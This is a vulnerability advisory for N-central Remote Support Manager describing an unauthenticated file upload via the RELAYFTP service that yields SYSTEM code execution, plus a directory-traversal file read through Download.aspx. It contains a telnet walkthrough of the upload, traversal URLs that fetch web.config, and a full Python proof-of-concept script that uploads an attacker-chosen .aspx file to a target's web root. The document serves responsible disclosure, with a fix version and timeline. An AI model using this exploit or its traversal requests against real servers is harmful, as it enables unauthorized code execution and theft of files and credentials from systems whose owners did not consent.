( , ) (,
. '.' ) ('. ',
). , ('. ( ) (
(_,) .'), ) _ _,
/ _____/ / _ \ ____ ____ _____
\____ \==/ /_\ \ _/ ___\/ _ \ / \
/ \/ | \\ \__( <_> ) Y Y \
/______ /\___|__ / \___ >____/|__|_| /
\/ \/.-. \/ \/:wq
(x.0)
'=.|w|.='
_=''"''=.
presents..
N-central Remote Support Manager Multiple Vulnerabilities
Affected Versions: Verified in Version 14.2.7.171
PDF: http://www.security-assessment.com/files/documents/advisory/Ncentral_Remote_Support_Manager_Multiple_Vulnerabilities.pdf
+-------------+
| Description |
+-------------+
Two critical vulnerabilities were identified in the RemoteSupportManager server.
1. RELAYFTP Unauthenticated Arbitrary File Upload and SYSTEM Remote Code Execution
The Remote Support Manager RELAYFTP subsystem ships with anonymous file access enabled.
A malicious attacker may leverage this to upload files to the machine running Remote
Support Manager without having to provide any authentication. By placing the uploaded
files within the RSM web root, arbitrary code execution can be achieved. Code executed
in this manner runs under the NT AUTHORITY/SYSTEM user.
2. Download.aspx Unauthenticated Arbitrary File Read
The Remote Support Manager webroot includes a Download.aspx script that is accessible
without authentication. A malicious user may leverage this to download arbitrary files
from the machine running Remote Support Manager.
+--------------+
| Exploitation |
+--------------+
1. RELAYFTP Unauthenticated Arbitrary File Upload and SYSTEM Remote Code Execution
Verifying the vulnerability exists is achievable using telnet.
cartel@mintyfresh ~/code/exploits $ telnet XXXXXXXXXXXX 2000
Trying XXXXXXXXXXXXXX...
Connected to XXXXXXXXXXXXXX
Escape character is '^]'.
RELAYFTP
200 Ready
USER anonymous
230
TYPE I
200
MODE I
502
CWD C:\\
250
CWD C:\Program Files (x86)\N-able Technologies\NRM\RSMWeb\Pages
250
EPSV Entering Extended Passive Mode (|||5|)
LIST
150 Creating data client for LIST
Retrieving and uploading files is done with the EPSV command. When EPSV is issued, the
number between the pipes (5 in this instance) is the data client identifier to be used
in the next command.
Creating a new connection with RELAYFTP, followed by the data client number, associates
it with that client, as shown below:
Trying XXXXXXXXXXXXXX...
Connected to XXXXXXXXXXXXXX
Escape character is '^]'.
RELAYFTP5
drwxrwxrwx 2 0 0 4096 Mar 07 10:31 ChatApplication
drwxrwxrwx 2 0 0 4096 Mar 07 10:31 Common
drwxrwxrwx 2 0 0 4096 Mar 07 10:31 ComputerManagement
drwxrwxrwx 2 0 0 4096 Mar 07 10:31 Dashboard
drwxrwxrwx 2 0 0 4096 Mar 07 10:31 FileManager
drwxrwxrwx 2 0 0 4096 Mar 07 10:31 NTR
drwxrwxrwx 2 0 0 4096 Mar 07 10:31 PerformanceMonitoring
drwxrwxrwx 2 0 0 4096 Mar 07 10:31 RDP
-rw-r--r-- 2 0 0 1117 Feb 06 16:19 download.aspx
-rw-r--r-- 2 0 0 1201 Feb 07 09:52 EncryptPassword.aspx
-rw-r--r-- 2 0 0 1201 Feb 07 09:52 Login.aspx
Uploading a file is a matter of issuing the STOR command with the pipe separated
arguments of filename and file length, as shown below:
EPSV
229 Entering Extended Passive Mode (|||15|)
STOR hello.txt|6
150 Creating data client for STOR
Data sent after a RELAYFTP command associated with the STOR data client will be
written to the associated file.
Connected to XXXXXXXXXXXXXX.
Escape character is '^]'.
RELAYFTP15
hello
By uploading an .aspx file in this manner, it is possible to gain arbitrary code
execution on the RSM server. A proof of concept exploit automating this is attached
to this advisory.
2. Arbitrary File Download
The download.aspx file in the RSMWeb '/pages/' folder may be used to download
arbitrary files without authentication. The filename to download is provided as the
"file=" argument as in the following sample URL:
http://192.168.XXX.XXX:2000/pages/download.aspx?file=download.aspx
By utilising directory traversal it is possible to download files from any folder on
the C:\ filesystem as shown in the following example URL:
http://192.168.XXX.XXX:2000/Pages/download.aspx?file=..\web.config
+----------+
| Solution |
+----------+
Update the Remote Support Manager component to the latest available version
(14.10.27.176 as of this release).
+---------------------+
| Disclosure Timeline |
+---------------------+
17-06-2014 Advisory uploaded to vendor support portal
01-07-2014 First follow up e-mail sent
02-07-2014 Vendor advises they have not received the upload
02-07-2014 Advisory reuploaded
14-07-2014 Vendor advises they are able to reproduce the issues but cannot
offer a timeframe for a fix
16-01-2015 Confirm vulnerabilities have been fixed, advisory released.
+-------------------------------+
| About Security-Assessment.com |
+-------------------------------+
Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.
Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.
For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com
Phone +64 4 460 2596
Thomas Hibbert
Security Consultant
Security-Assessment.com
-----------------------------------------
rsm-relayftp-file-upload.py
#!/usr/bin/env python
import socket
from time import sleep
from sys import argv
asc = """
( , ) (,
. '.' ) ('. ',
). , ('. ( ) (
(_,) .'), ) _ _,
/ _____/ / _ \ ____ ____ _____
\____ \==/ /_\ \ _/ ___\/ _ \ / \
/ \/ | \\ \__( <_> ) Y Y \
/______ /\___|__ / \___ >____/|__|_| /
\/ \/.-. \/ \/:wq
(x.0)
'=.|w|.='
_=''"''=.
"""
chat = ['RELAYFTP',
'USER anonymous',
'TYPE I',
'MODE I',
'CWD C:\\',
'CWD C:\Program Files (x86)\N-able Technologies\NRM\RSMWeb\Pages']
print asc
print "Cartel presents: rsm-relayftp-upload.py"
if len(argv) < 3:
print " usage: rsm-relayftp-upload.py [target] [file.aspx] [[-v]]"
print " ...will put [file.aspx] to target:2000/Pages/"
raise SystemExit
HOST = argv[1]
PORT = 2000
debug = None
if len(argv) == 4:
if argv[3] == "-v":
debug = True
def getsock():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(30)
s.connect((HOST, PORT))
return s
def sput(s, p, r=1024):
global debug
for i in p.split("\n"):
if debug: print "> "+i
s.send(p+"\n")
sleep(0.1)
data = s.recv(r)
for i in data.split("\n"):
if debug: print "< "+i
return data
print "[+] Setting up session..."
s = getsock()
for i in chat:
try:
sput(s,i)
except:
print "[!] Something went wrong, either the server is not vulnerable or the request timed out."
raise SystemExit
def getid(data):
return data.split("|||")[1].split("|")[0]
print "[+] Testing EPSV..."
data = sput(s, "EPSV")
id = getid(data)
s2 = getsock()
print "[!] LIST output"
print "---"
data = sput(s, "LIST")
data = sput(s2, "RELAYFTP%s"%id)
s2.close()
if not debug: print data
print "---"
f = open(argv[2]).read()
print "[!] STOR %s"%argv[2]
data = sput(s, "EPSV")
id = getid(data)
data = sput(s, "STOR %s|%s"%(argv[2], len(f)))
s2 = getsock()
data = sput(s2, "RELAYFTP%s"%id, r=1)
data = sput(s2, f)
data = sput(s, "EPSV")
id = getid(data)
print "[!] LIST output"
print "---"
data = sput(s, "LIST")
s2 = getsock()
data = sput(s2, "RELAYFTP%s"%id)
if not debug: print data
s2.close()
print "---"
print "[+] execution finished"